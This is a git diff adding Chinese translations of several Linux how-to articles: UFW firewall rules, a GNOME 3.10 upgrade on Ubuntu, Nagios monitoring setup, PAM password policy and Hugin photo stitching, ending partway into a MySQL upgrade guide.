+ +上面的命令会允许从任何地方以及任何协议都可以访问**22端口**。 + +### 组合参数 ### + +对于更具体的规则,你也可以把 **IP 地址**、**协议**和**端口**这些组合在一起用。我们想创建一条规则,限制仅仅来自于 192.168.0.104 的 IP ,而且只能使用 **tcp 协议**和通过 **22端口** 来访问本地资源。我们可以用如下所示的命令。 + + $ sudo ufw allow from 192.168.0.104 proto tcp to any port 22 + +创建拒绝规则的命令和允许的规则类似,仅需要把 **allow** 参数换成 **deny** 参数就可以。 + +### 删除规则 ### + +某些时候需要删除现有的规则。再一次使用 **UFW** 删除规则是很简单的。在上面的示例中,已经创建了如下的规则,现在你想删除它们。 + + To Action From + -- ----------- ------ + 22/tcp ALLOW 192.168.0.104 + 21/tcp ALLOW Anywhere + 21/tcp ALLOW Anywhere (v6) + +删除规则有两个方法。 + +**方法1** + +下面的命令将会 **删除** 与 **ftp** 相关的规则。所以像 **21/tcp** 这条 **ftp** 默认访问端口的规则将会被删除掉。 + + $ sudo ufw delete allow ftp + +**方法2** + +但当你使用如下命令来删除上面例子中的规则时, + + $ sudo ufw delete allow ssh + + 或者 + + $ sudo ufw delete allow 22/tcp + +会出现如下所示的一些错误 + + Could not delete non-existent rule + Could not delete non-existent rule (v6) + +我们还有一招。上面已经提到过,可以序列数字来代替你想删除的规则。让我们试试。 + + $ sudo ufw status numbered + + To Action From + -- ----------- ------ + [1] 22/tcp ALLOW 192.168.0.104 + [2] 21/tcp ALLOW Anywhere + [3] 21/tcp ALLOW Anywhere (v6) + +然后我们删除正在使用的第一条规则。按 “ **y** ” 就会永久的删除这条规则。 + + $ sudo ufw delete 1 + + Deleting : + Allow from 192.168.0.104 to any port 22 proto tcp + Proceed with operation (y|n)? y + +从这些用法中你就可以发现它们的不同。 **方法2** 在删除前需要 **用户确认** ,而 **方法1** 不需要。 + +### 重置所有规则### + +某些情况下,你也许需要 **删除/重置** 所有的规则。可以输入。 + + $ sudo ufw reset + + Resetting all rules to installed defaults. Proceed with operation (y|n)? y + +如果你输入“ **y** ”, **UFW** 在重置你的 ufw 前会备份所有已经存在规则,然后重置。重置操作也会使你的防火墙处于不可用状态,如果你想使用得再一次启用它。 + +### 高级功能 ### + +正如我上面所说,UFW防火墙能够做到iptables可以做到的一切。这是通过一些规则文件来完成的,他们只不过是 **iptables-restore** 所对应的文本文件而已。是否可以通过 ufw 命令微调 UFW 的与/或逻辑来增加 iptables 命令其实就是编辑几个文本文件的事。 + +- /etc/default/ufw: 默认策略的主配置文件,支持 IPv6 和 内核模块。 +- /etc/ufw/before[6].rules: 通过 ufw 命令添加进规则之前里面存在的规则会首先计算。 +- /etc/ufw/after[6].rules: 通过 ufw 命令添加进规则之后里面存在的规则会进行计算。 +- /etc/ufw/sysctl.conf: 内核网络可调参数。 +- /etc/ufw/ufw.conf: 设置系统启动时 UFW 是否可用,和设置日志级别。 + +## 结论 ## + +**UFW** 作为 iptables 的前端应用,给用户提供了简单的接口界面。使用着不需要去记非常复杂的 iptables 语法。**UFW** 也使用了‘ **简单英语** ’作为它的参数。 + +像 **Allow、deny、reset** 就是他们当中的一部分。我相信有很多很多 iptables 前端应用,但 UFW 绝对是那些想要快速、简单的就建立自己的防火墙,而且还很安全的用户的最佳替代品之一。请输入 **man ufw** 查看 **ufw 用户手册**,来了解更多详情。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/how-to-install-and-configure-ufw-firewall/ + +译者:[runningwater](https://github.com/runningwater) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/basic-guide-on-iptables-linux-firewall-tips-commands/ diff --git a/published/201401/How to Upgrade to GNOME 3.10 in Ubuntu 13.10.md b/published/201401/How to Upgrade to GNOME 3.10 in Ubuntu 13.10.md new file mode 100644 index 0000000000..5b1b6db3be --- /dev/null +++ b/published/201401/How to Upgrade to GNOME 3.10 in Ubuntu 13.10.md @@ -0,0 +1,104 @@ +如何在Ubuntu 13.10中升级GNOME 到 3.10? +================================================================================ + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/header-bars.jpg) + +**Ubuntu 13.10 中配备了GNOME 3.8桌面。 尽管它相比Unity是一个可靠稳定以及有特色的替代品,但这个版本还是过时了。** + +GNOME桌面的最新版本在2013年9月发布,随之而来的是一系列改进的功能、应用程序和可用性的调整。从对高分辨率屏幕的支持到客户端应用窗口上的美化,GNOME 3.10无疑是一个引人注目的升级版本。 + +好消息是:假设你正在运行Ubuntu 13.10,拥有不错的网络操作和命令行水平,那么你无需继续使用一个过时版本的GNOME。 + +### 在Ubuntu 13.10 上如何升级到GNOME 3.10 ### + +为了那些爱略过前言直奔主题的读者,我还要重申两点: + +**要使用本方法安装GNOME 3.10,需运行 Ubuntu 13.10版本。** + +**GNOME 3.10还未在 Ubuntu 13.10上测试,所以升级风险自负。** + +首先,让我们添加GNOME 3 的PPA到Ubuntu的软件资源中。这个操作可以使用图形界面完成,但使用命令更容易一些。 + +打开一个新的*终端*窗口,键入下列命令,在需要时输入你的用户密码: + + sudo add-apt-repository ppa:gnome3-team/gnome3-next && sudo apt-get update + +添加完PPA并更新包列表后,我们就可以继续,开始安装GNOME 3.10了。运行下列命令,当弹出提示时再次输入你的用户密码: + + sudo apt-get update && sudo apt-get install gnome-shell ubuntu-gnome-desktop + +获取并安装所有必要的包和组件会花一点时间,所以请耐心一点。 + +在安装过程中,在终端将会弹出一个提示,要求你选择一种显示管理器,默认使用的是“登录窗口”。 + +这个决定完全取决于你;UBuntu的Unity Greeter和**GNOME的显示管理器**都能让你很轻松地在桌面会话之间切换(如果你想保持在Unity界面或者另一个桌面将很方便),但仅仅只有GDM提供给GNOME特定的功能,譬如锁屏通知。 + +当你确定选择后,使用上下键选择,然后敲击‘确认/返回’键以确认。安装便会继续进行。 + +### 增加额外的功能 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/gnome-music.jpg) + +GNOME 3.10还有一些不错的新特性和应用-[包括GNOME天气,音乐盒及地图][1] 以及其它各种各样的改变。因为并不是所有的特性都足够稳定以致于可以被包含在我们之前添加的GNOME 3 PPA中,所以如果你想使用它们,就需要利用到两个额外的GNOME PPA。 + +现在,你需要意识到很重要的是,在这些仓库里的一些包据说有稳定性问题。这些问题大多是小问题,譬如应用程序崩溃和损坏。但还是有潜在的可能,导致像使GNOME完全崩溃这样的重大问题。 + +除开这个警告不说,在终端里打开一个新的选项卡,输入下列命令: + + sudo add-apt-repository ppa:gnome3-team/gnome3-staging + sudo add-apt-repository ppa:gnome3-team/gnome3 + sudo apt-get update && sudo apt-get dist-upgrade + +为了添加一些之前提到的很酷的应用,运行这个命令: + + sudo apt-get install gnome-weather gnome-music gnome-maps cheese gnome-documents + +这样之后,就搞定了! + +你可能会想先注销然后重新登录(记得选择“GNOME”会话)以确保改动都已经正确生效了。 + +### 细小的差别 ### + +如果你在不卸载Unity的情况下安装GNOME 3.10,那么有一些注意事项。 + +首先,你会发现**在系统设置里“Online Accounts”有两个入口**。其中,有钥匙图标的是Unity版的,另一个有插孔符号的是GNOME版的。 + +一些应用程序可能会要求你往Unity中添加账户(Shotwell, Gwibber, Empathy),有一些可能是要求往GNOME中添加(Evolution, Documents, Contacts)。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/04/online-accounts.jpg) + +“通知”和“搜索”入口是GNOME专有的,它们让你挑选哪些应用程序和资源能够显示通知或出现在活动区。 + +### 卸载GNOME 3.10 ### + +假如你已经尝试了GNOME 3.10,但不喜欢它。这时该怎么办? + +使用一个叫做“PPA Purge”的命令行工具,移除GNOME 3.10 是一个相当简单的过程。这个工具可以在Ubuntu软件中心里找到,是目前为止自动移除或降级从PPA安装的包的最容易的方法。 + +- [从Ubuntu软件中心安装PPA Purge][2] + +为了使用这个工具,我们需要返回终端然后键入下面命令,要留意任何出现在降级过程中的提示。 + + sudo ppa-purge ppa:gnome3-team/gnome3-next + +如果你也添加了其它可选的PPA,你也需要清除它们: + + sudo ppa-purge ppa:gnome3-team/gnome3-staging + sudo ppa-purge ppa:gnome3-team/gnome3 + +完成后,你就剩下了原来的 GNOME 3.8 桌面。如果你不再想保留GNOME Shell了,你可以执行下列命令去卸载它: + + sudo apt-get remove gnome-shell ubuntu-gnome-desktop + +最后,手动移除任何在降级之后可能残留的应用程序(譬如,Epiphany and GNOME Documents),然后重启。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/12/upgrade-gnome-3-10-ubuntu-13-10 + +译者:[KAyGuoWhu](https://github.com/KayGuoWhu) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.omgubuntu.co.uk/2013/09/gnome-3-10-released-with-new-apps-experimental-wayland-support +[2]:apt:ppa-purge \ No newline at end of file diff --git a/published/201401/How to install and configure Nagios on Linux.md b/published/201401/How to install and configure Nagios on Linux.md new file mode 100644 index 0000000000..6a9c9b372d --- /dev/null +++ b/published/201401/How to install and configure Nagios on Linux.md @@ -0,0 +1,363 @@ +Linux下Nagios的安装与配置 +================================================================================ +[Nagios][1]是企业普遍使用的最具影响力的网络信息监视系统之一,它可以动态监视指定的网络状态,并在状态异常时发出警告音或邮件报警通知运维人员。监控的类型和警报定时器是完全可定制的。 + +Nagios的另一强大功能是它能同时监测主机和服务。例如,它可以同时监测到IP地址和TCP/UDP端口号。为进一步阐述此功能,我们假定有台需要监测的web服务器,Nagios可运用在服务器上基于IP/服务器名运行ping命令的方法检测服务器是否在线,同时当服务器的RTT(往返时延)增加时,Nagios会随时告警。另外,Nagios还能检测TCP的80端口(web服务器)是否可达,比如可能出现服务器在线但Apache/IIS没有响应的情况。 + +而基于Nagios的第三方监测工具如[Centreon][2], [FAN][3] , [op5 Monitor][4] +在界面设计,自动化运行和技术支持方面在独立的Nagios引擎基础上提供了相应的补充。 + +本段教程将展示**Linux下Nagios的安装与配置**. + +## Debian或Ubuntu下Nagios的安装 ## + +Debian系统用户使用apt-get命令就可安装Nagios: + + root@mrtg:~# apt-get install nagios3 + +Nagios安装过程中可以设置邮件服务器,安装后也可以进行自定义设置。 + +提示:为使Nagios可正常发送邮件通知,需正确配置SMTP。 + +[![](http://farm4.staticflickr.com/3809/11198373625_cdacef2275_z.jpg)][5] + +可以看到Nagios支持多种邮件传送方式。最常见的莫过于服务器(Internet Site)直接向接收者发送邮件,另一种常见的形式是用智能主机或中继服务器,将邮件传送至中继邮件服务器,然后它负责将邮件传送给接收者。 + +进行下一步操作时服务器的域名需要包含进去。 + +[![](http://farm8.staticflickr.com/7384/11198394746_f4d42300b5_z.jpg)][6] + +最后,设置一下Nagios管理员‘nagiosadmin’的密码,用户可以之后自行修改密码。 + +[![](http://farm4.staticflickr.com/3759/11198378964_5d7f6638e8_z.jpg)][7] + +## CentOS或RHEL下Nagios的安装 ## + +使用yum命令来安装,[建立repoforge库][8]之后运行如下yum命令: + + [root@mrtg ~]# yum install nagios nagios-plugins + +## 监测需求 ## + +本段教程中,我们希望完成以下监测内容: + +1. 每三分钟监测一次所有Linux服务器。 +2. 每三分钟监测一次所有思科路由器。 +3. 所有的邮件告警集中发送至sentinel@example.tst。 +4. 发出告警前Nagios都将进行3次验证以确保问题确有发生。 +5. 当设备的往返时延超过100ms并且/或包丢失量超过20%将发出邮件告警。 + +余下的教程将指导您如何在Linux系统中配置Nagios。 + +## Ubuntu下Nagios的配置 ## + +明确Nagios配置文件的地址至关重要,以下路径指明了Debian系统下Nagios的配置文件地址。 + + /etc/nagios-plugins 实现监测功能的专有脚本存放地址 + /etc/nagios3 添加主机、服务,定义检测和定时器的配置文件 + /usr/lib/nagios/plugins 用于监测的可执行文件 + +接下来的步骤相互关联,由此开始定义主机,主机组及向主机组添加服务操作。 + +### 添加主机模板 ### + +我们对同一类型的主机定义了对应的模板,这里使用安装文件作举例说明。 + +首先,为Linux设备定义主机模板。 + + root@mrtg:~# cd /etc/nagios3/conf.d + root@mrtg:/etc/nagios3/conf.d/# cp generic-host_nagios2.cfg linux-server.cfg + +如下编辑linux-server.cfg。需要修改部分已经标出。 + + root@mrtg:/etc/nagios3/conf.d/# vim linux-server.cfg +- + define host{ + name linux-server ; 名称,需修改 + notifications_enabled 1 + event_handler_enabled 1 + flap_detection_enabled 1 + failure_prediction_enabled 1 + process_perf_data 1 + retain_status_information 1 + retain_nonstatus_information 1 + check_command example-host-check ; 检查所用脚本,需修改 + check_interval 3 ; 连续检查的间隔,需修改 + max_check_attempts 3 ; 产生邮件告警前的自检次数,需修改 + notification_interval 0 + notification_period 24x7 + notification_options d,u,r + contact_groups admins ; 邮件将要发送至的组,需修改 + register0 + } + +接下来,为Cisco设备定义主机模板。 + + root@mrtg:/etc/nagios3/conf.d/# cp linux-server.cfg cisco-device.cfg + +如下修改cisco-device.cfg。需要修改部分已经标出。 + + root@mrtg:/etc/nagios3/conf.d/# vim cisco-device.cfg +- + define host{ + name cisco-device ;名称,需修改 + notifications_enabled 1 + event_handler_enabled 1 + flap_detection_enabled 1 + failure_prediction_enabled 1 + process_perf_data 1 + retain_status_information 1 + retain_nonstatus_information 1 + check_command example-host-check ; 检查时使用的脚本,需修改 + check_interval 3 ; 连续检查间隔,需修改 + max_check_attempts 3 ; 产生邮件告警前的自检次数,需修改 + notification_interval 0 + notification_period 24x7 + notification_options d,u,r + contact_groups admins ; 邮件将要发至的组,需修改 + register 0 + } + +### 添加主机 ### + +现在已定义主机模板,就可以添加需要监测的主机。以默认的文件作例子展示如下内容。 + + root@mrtg:/etc/nagios3/conf.d/# cp localhost_nagios2.cfg example.cfg + root@mrtg:/etc/nagios3/conf.d/# vim example.cfg +- + # Host 1 + define host{ + use linux-server ; 使用的主机模板名 + host_name our-server ; nagios使用的主机名 + alias our-server + address 172.17.1.23 ; 主机的IP地址 + } + + # Host 2 + define host{ + use cisco-device ; 使用的主机模板名 + host_name our-router ; nagios使用的主机名 + alias our-router + address 172.17.1.1 ; 主机的IP地址 + } + +### 主机组定义 ### + +当有多个主机时,为方便管理,建议将相似的主机组成一组。 + + root@mrtg:/etc/nagios3/conf.d/# vim hostgroups_nagios2.cfg +- + define hostgroup { + hostgroup_name linux-server ; 主机组名 + alias Linux Servers + members our-server ; 组员列表 + } + + define hostgroup { + hostgroup_name cisco-device ; 主机组名 + alias Cisco Devices + members our-server ; comma separated list of members + } + +### 定义服务 ### + +首先,定义一个服务example-host-check:当往返时延达到100ms预警值并且有20%包丢失时发出警告,而紧急告警设置为5000ms且包丢失比率为100%,只执行一个IPv4的ping请求检测。 + + root@mrtg:~# vim /etc/nagios-plugins/config/ping.cfg +- + define command{ + command_name example-host-check + command_line /usr/lib/nagios/plugins/check_ping -H '$HOSTADDRESS$' -w 100,20% -c 5000,100% -p 1 -4 + } + +然后,将命令关联至主机组。 + + root@mrtg:/etc/nagios3/conf.d/# vim services_nagios2.cfg +- + define service { + hostgroup_name linux-server + service_description Linux Servers + check_command example-host-check + use generic-service + notification_interval 0 ; 初始化设置为0 + } + + define service { + hostgroup_name cisco-device + service_description Cisco Devices + check_command example-host-check + use generic-service + notification_interval 0 ; 初始化设置为0 + } + +### 联系人定义 ### + +进行如下定义将发送邮件需要的地址添加至Nagios。 + + root@mrtg:/etc/nagios3/conf.d/# vim contacts.cfg +- + define contact{ + contact_name root + alias Root + service_notification_period 24x7 + host_notification_period 24x7 + service_notification_options w,u,c,r + host_notification_options d,r + service_notification_commands notify-service-by-email + host_notification_commands notify-host-by-email + email root@localhost, sentinel@example.tst + } + +最后,试运行初始化检测是否有配置错误。如果没有错误,Nagios开始安全运行。 + + root@mrtg:~# nagios -v /etc/nagios3/nagios.cfg + root@mrtg:~# service nagios3 restart + +## CentOS/RHEL上的Nagios配置 ## + +Redhat系统中Nagios的配置文件地址如下所示。 + + /etc/nagios/objects 添加主机、服务,定义监测和定时器的配置文件 + + /usr/lib/nagios/plugins 实现监测的可执行文件 + +### 添加主机模板 ### + +为特定类型的主机创建所需的模板,相应修改安装所需的文件。 + + [root@mrtg objects]# cd /etc/nagios/objects/ + [root@mrtg objects]# vim templates.cfg +- + define host{ + name linux-server + use generic-host + check_period 24x7 + check_interval 3 + retry_interval 1 + max_check_attempts 3 + check_command example-host-check + notification_period 24x7 + notification_interval 0 + notification_options d,u,r + contact_groups admins + register 0 + } + + define host{ + name cisco-router + use generic-host + check_period 24x7 + check_interval 3 + retry_interval 1 + max_check_attempts 3 + check_command example-host-check + notification_period 24x7 + notification_interval 0 + notification_options d,u,r + contact_groups admins + register 0 + } + +### 添加主机和主机组 ### + +这里以默认的配置文件为例,主机和主机组添加至配置文件中。 + + [root@mrtg objects]# cp localhost.cfg example.cfg + [root@mrtg objects]# vim example.cfg +- + #Adding Linux server + define host{ + use linux-server + host_name our-server + alias our-server + address 172.17.1.23 + } + + #Adding Cisco Router + define host{ + use cisco-router + host_name our-router + alias our-router + address 172.17.1.1 + } + + # HOST GROUP DEFINITION + define hostgroup{ + hostgroup_name linux-servers + alias Linux Servers + members our-server + } + + define hostgroup{ + hostgroup_name cisco-router + alias cisco-router + members our-router + } + +### 服务定义 ### + +定义一个服务example-host-check:当往返时延达到100ms预警值并且有20%包丢失时发出警告,而紧急告警设置为5000ms且包丢失比率为100%,只执行一个IPv4的ping请求检测。 + + [root@mrtg objects]# vim commands.cfg +- + define command{ + command_name example-host-check + command_line $USER1$/check_ping -H $HOSTADDRESS$ -w 100.0,20% -c 5000.0,100% -p 1 -4 + } + +### 联系人定义 ### + +告警要发送的邮件地址添加至Nagios中。 + + [root@objects objects]# vim contacts.cfg +- + define contact{ + contact_name nagiosadmin + use generic-contact + alias Nagios Admin + email nagios@localhost, sentinel@example.tst + } + +最后,准备启动Nagios服务,可先试运行检测配置是否出错。 + + [root@mrtg ~]# nagios –v /etc/nagios/nagios.cfg + [root@mrtg ~]# service nagios restart + [root@mrtg ~]# chkconfig nagios on + +### 配置后访问Nagios ### + +现在一切就绪,可以开始Nagios之旅了。Ubuntu/Debian用户可以通过打开 http://IP地址/nagios3 网页访问Nagios,CentOS/RHEL用户可以打开 http://IP地址/nagios ,如 http://172.17.1.23/nagios3 来访问Nagios。“nagiosadmin”用户则需要认证来访问页面。 + +[![](http://farm4.staticflickr.com/3834/11198394806_4f4a753778_z.jpg)][9] + +若Nagios没有依原设定运行,首先要做的是建立一个测试运行(dry run)。 + +Debian或Ubuntu系统: + + # nagios3 -v /etc/nagios3/nagios.cfg + +CentOS或RHEL系统: + + # nagios -v /etc/nagios/nagios.cfg + +日志文件也会提供重要线索,若需查看可以转至路径/var/log/nagios/nagios.log。 + +希望本文有所帮助。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/12/install-configure-nagios-linux.html + +译者:[icybreaker](https://github.com/icybreaker) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.nagios.org/ +[2]:http://www.centreon.com/ +[3]:http://www.fullyautomatednagios.org/ +[4]:http://www.op5.com/ +[5]:http://www.flickr.com/photos/xmodulo/11198373625/ +[6]:http://www.flickr.com/photos/xmodulo/11198394746/ +[7]:http://www.flickr.com/photos/xmodulo/11198378964/ +[8]:http://xmodulo.com/2013/01/how-to-set-up-rpmforge-repoforge-repository-on-centos.html +[9]:http://www.flickr.com/photos/xmodulo/11198394806/ diff --git a/published/201401/How to set password policy on Linux.md b/published/201401/How to set password policy on Linux.md new file mode 100644 index 0000000000..cf91e3d131 --- /dev/null +++ b/published/201401/How to set password policy on Linux.md @@ -0,0 +1,112 @@ +如何在 Linux 上设置密码策略 +================================================================================ +用户帐号管理是系统管理员最重要的工作之一。而密码安全是系统安全中最受关注的一块。在本教程中,我将为大家介绍**如何在 Linux 上设置密码策略**。 + +假设你已经在你的 Linux 系统上使用了 [PAM (Pluggable Authentication Modules,插入式验证模块)][1],因为这些年所有的 Linux 发行版都在使用它。 + +### 准备工作 ### + +安装 PAM 的 cracklib 模块,cracklib 能提供额外的密码检查能力。 + +Debian、Ubuntu 或 Linux Mint 系统上: + + $ sudo apt-get install libpam-cracklib + +CentOS、Fedora、RHEL 系统已经默认安装了 cracklib PAM 模块,所以在这些系统上无需执行上面的操作。 + +为了强制实施密码策略,我们需要修改 /etc/pam.d 目录下的 PAM 配置文件。一旦修改,策略会马上生效。 + +注意:此教程中的密码策略只对非 root 用户有效,对 root 用户无效。 + +### 禁止使用旧密码 ### + +找到同时有 “password” 和 “pam_unix.so” 字段并且附加有 “remember=5” 的那行,它表示禁止使用最近用过的5个密码(己使用过的密码会被保存在 /etc/security/opasswd 下面)。 + +Debian、Ubuntu 或 Linux Mint 系统上: + + $ sudo vi /etc/pam.d/common-password + +> password [success=1 default=ignore] pam_unix.so obscure sha512 remember=5 + +CentOS、Fedora、RHEL 系统上: + + $ sudo vi /etc/pam.d/system-auth + +> password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok remember=5 + +### 设置最短密码长度 ### + +找到同时有 “password” 和 “pam_cracklib.so” 字段并且附加有 “minlen=10” 的那行,它表示最小密码长度为(10 - 类型数量)。这里的 “类型数量” 表示不同的字符类型数量。PAM 提供4种类型符号作为密码(大写字母、小写字母、数字和标点符号)。如果你的密码同时用上了这4种类型的符号,并且你的 minlen 设为10,那么最短的密码长度允许是6个字符。 + +Debian、Ubuntu 或 Linux Mint 系统上: + + $ sudo vi /etc/pam.d/common-password + +> password requisite pam_cracklib.so retry=3 minlen=10 difok=3 + +CentOS、Fedora、RHEL 系统上: + + $ sudo vi /etc/pam.d/system-auth + +> password requisite pam_cracklib.so retry=3 difok=3 minlen=10 + +### 设置密码复杂度 ### + +找到同时有 “password” 和 “pam_cracklib.so” 字段并且附加有 “ucredit=-1 lcredit=-2 dcredit=-1 ocredit=-1” 的那行,它表示密码必须至少包含一个大写字母(ucredit),两个小写字母(lcredit),一个数字(dcredit)和一个标点符号(ocredit)。 + +Debian、Ubuntu 或 Linux Mint 系统上: + + $ sudo vi /etc/pam.d/common-password + +> password requisite pam_cracklib.so retry=3 minlen=10 difok=3 ucredit=-1 lcredit=-2 dcredit=-1 ocredit=-1 + +CentOS、Fedora、RHEL 系统上: + + $ sudo vi /etc/pam.d/system-auth + +> password requisite pam_cracklib.so retry=3 difok=3 minlen=10 ucredit=-1 lcredit=-2 dcredit=-1 ocredit=-1 + +### 设置密码过期期限 ### + +编辑 /etc/login.defs 文件,可以设置当前密码的有效期限,具体变量如下所示: + + $ sudo vi /etc/login.defs + +> PASS_MAX_DAYS 150 +> PASS_MIN_DAYS 0 +> PASS_WARN_AGE 7 + +这些设置要求用户每6个月改变他们的密码,并且会提前7天提醒用户密码快到期了。 + +如果你想为每个用户设置不同的密码期限,使用 chage 命令。下面的命令可以查看某个用户的密码限期: + + $ sudo chage -l xmodulo + +> Last password change : Dec 30, 2013 +> Password expires : never +> Password inactive : never +> Account expires : never +> Minimum number of days between password change : 0 +> Maximum number of days between password change : 99999 +> Number of days of warning before password expires : 7 + +默认情况下,用户的密码永不过期。 + +下面的命令用于修改 xmodulo 用户的密码期限: + + $ sudo chage -E 6/30/2014 -m 5 -M 90 -I 30 -W 14 xmodulo + +上面的命令将密码期限设为2014年6月3日。另外,修改密码的最短周期为5天,最长周期为90天。密码过期前14天会发送消息提醒用户,过期后帐号会被锁住30天。 + +[![](http://farm4.staticflickr.com/3779/11640903324_474963b7bb.jpg)][2] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/12/set-password-policy-linux.html + +译者:[bazz2](https://github.com/bazz2) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linux-pam.org/ +[2]:http://www.flickr.com/photos/xmodulo/11640903324/ diff --git a/published/201401/How to stitch photos together on Linux.md b/published/201401/How to stitch photos together on Linux.md new file mode 100644 index 0000000000..c3d76c7188 --- /dev/null +++ b/published/201401/How to stitch photos together on Linux.md @@ -0,0 +1,103 @@ +如何在 Linux 中生成全景照片 +================================================================================ +如果你是一位狂热的摄影爱好者,那么你的摄影集中可能会有一些令人叹为观止的全景摄影作品。事实上,制作这些照片既不需要专业的摄影技术,也不需要什么特别的设备,利用一些照片合并软件(在线或者是离线,桌面设备或者移动设备)就可以将两幅或者多幅有重叠部分的照片轻松合成一幅全景照片。 + +这篇教程里,我将会解释 **如何在 Linux 中完成全景照片的合并工作**。在这儿,我将会使用一款叫做 [Hugin][1] 的照片合并软件。 + +Hugin 是一款开源(GPLv2)并可以免费使用的照片合并工具。它目前支持多个平台,包括 Linux,Windows,OS X 和 FreeBSD。 尽管作为一款开源软件,但是不论在功能上还是质量上,Hugin 都丝毫不逊色于商业软件。相反,Hugin 非常强大,不仅可以用来创建360度全景照片,还支持多种高级测光修正和优化。 + +### 在 Linux 中安装 Hugin + +在 Debian,Ubuntu 或者 Linux Mint 中安装 Hugin: + + $ sudo apt-get install hugin + +在 Fedora 中安装 Hugin: + + $ sudo yum install hugin + +### 启动 Hugin + +我们使用命令来启动Hugin。 + + $ hugin + +在这儿(Assistant页),我们要做的第一件事就是导入我们想要合并的照片。我们先来点击Load images 按钮,然后导入(两张或者多张)图片。当然了,这些照片应该需要相互有一些重叠的部分(我们这里载入了三张)。 + +[![](http://farm3.staticflickr.com/2884/11230363115_9aaaf5d8e4_z.jpg)][2] + +### 第一次照片合并 + +在导入照片之后,点击 Align 按钮来开始我们的第一次合并 + +[![](http://farm8.staticflickr.com/7405/11230471403_4aab2dd708_z.jpg)][3] + +为了正确合并照片,Hugin 将会在一个单独的窗口中启动合并助手,用来分析照片之间的关键点(控制点)。分析完毕之后,呈现在你眼前的将会是一幅全景照片的预览图。 + +接下来让我们切换回 Hugin 的主窗口。在 Align 按钮的下方,你将会看见照片合并的状态(比如控制点的数量,错误情况)。当然,还会有合并好坏的相关提示。 + +[![](http://farm3.staticflickr.com/2838/11230471243_c59a6dd6cd_z.jpg)][4] + +如果合并提示显示 bad 或者 really bad,你可以继续按照下面的办法来进行排列的调整。 + +### 添加或者删除控制点 + +在主窗口中,进入 Control Points 标签页。在这儿,Hugin 展现在组合照片中常用的的控制点。我们看到,在左右面板中展现了一对照片,上面的一些同色的小方盒表示的是常用的控制点。你可以手动来添加或者删除这些控制点。这些控制点匹配的越精确,我们得到的合并质量也就越高。除此之外,如果这些控制点分散得比较均匀,得到的效果将会更好。 + +[![](http://farm4.staticflickr.com/3706/11230392866_aeee95908d_z.jpg)][5] + +使用顶部中间的左右箭头按钮来找到拥有最少控制点的两幅照片。如这样的两幅照片,我们可以试图按照下面的办法来手动增加控制点。 + +首先我们点击左边照片中的某个点,然后再来点击右边照片中对应的点。Hugin 将会试图自动调整。接下来,我们继续点击底部的 Add 按钮来添加匹配对。重复上面的操作来添加更多的控制点。 + +[![](http://farm4.staticflickr.com/3790/11230376534_4acfdf09c8_z.jpg)][6] + +### 其他优化 + +我们可以试图进行重新优化,比如点击工具栏中的 Re-optimize 按钮,或者去 Optimizer 标签中重新调整之前的优化。 + +[![](http://farm4.staticflickr.com/3830/11230470413_05dbb778d0_z.jpg)][5] + +接下来回到 Hugin 主窗口中的 Assistant 标签,再次点击 Align 按钮来看看是否能得到一个更棒的结果。 + +倘若合并的全景照片的水平线参差不齐,我们可以试图将它拉直。首先点击工具栏上的 Preview panorama 按钮。 + +[![](http://farm8.staticflickr.com/7423/11230361845_afbb2e11ea_z.jpg)][6] + +然后点击预览窗口中的 Straighten 按钮。 + +[![](http://farm4.staticflickr.com/3750/11230470463_2b4ef3dedf_z.jpg)][7] + +一旦你对合并的结果感到满意,你可以继续将它导出为图片文件。只需要到 Hugin 主窗口中 Sticher 标签页里进行下面的操作: + +调整画布大小,剪切数量。当然,还需要选择输出格式(比如 TIFF,JPEG,PNG)。最后,点击 Stitch!按钮来完成。 + +[![](http://farm3.staticflickr.com/2837/11230376234_2e46342a01_z.jpg)][8] + +之后会有提示保存当前项目文件(*.pto),设定保存好输出的文件名即可。 + +导出过程可能会需要花费几秒钟的时间。 + +这里有一张我利用 Hugin 的实验输出结果。画面中是墨西哥坎昆迷人海滩的全景。:-) + +[![](http://farm8.staticflickr.com/7305/11230423496_c7dfaf6c12_c.jpg)][9] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/12/stitch-photos-together-linux.html + +译者:[ailurus1991](https://github.com/ailurus1991) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://hugin.sourceforge.net/ +[2]:http://www.flickr.com/photos/xmodulo/11230363115/ +[3]:http://www.flickr.com/photos/xmodulo/11230471403/ +[4]:http://www.flickr.com/photos/xmodulo/11230471243/ +[5]:http://www.flickr.com/photos/xmodulo/11230392866/ +[6]:http://www.flickr.com/photos/xmodulo/11230376534/ +[7]:http://www.flickr.com/photos/xmodulo/11230470413/ +[8]:http://www.flickr.com/photos/xmodulo/11230361845/ +[9]:http://www.flickr.com/photos/xmodulo/11230470463/ +[10]:http://www.flickr.com/photos/xmodulo/11230376234/ +[11]:http://www.flickr.com/photos/xmodulo/11230423496/ diff --git a/published/201401/How to upgrade MySQL server on Debian or Ubuntu.md b/published/201401/How to upgrade MySQL server on Debian or Ubuntu.md new file mode 100644 index 0000000000..2c10c4440b --- /dev/null +++ b/published/201401/How to upgrade MySQL server on Debian or Ubuntu.md @@ -0,0 +1,134 @@ +教你在 Debian 和 Ubuntu 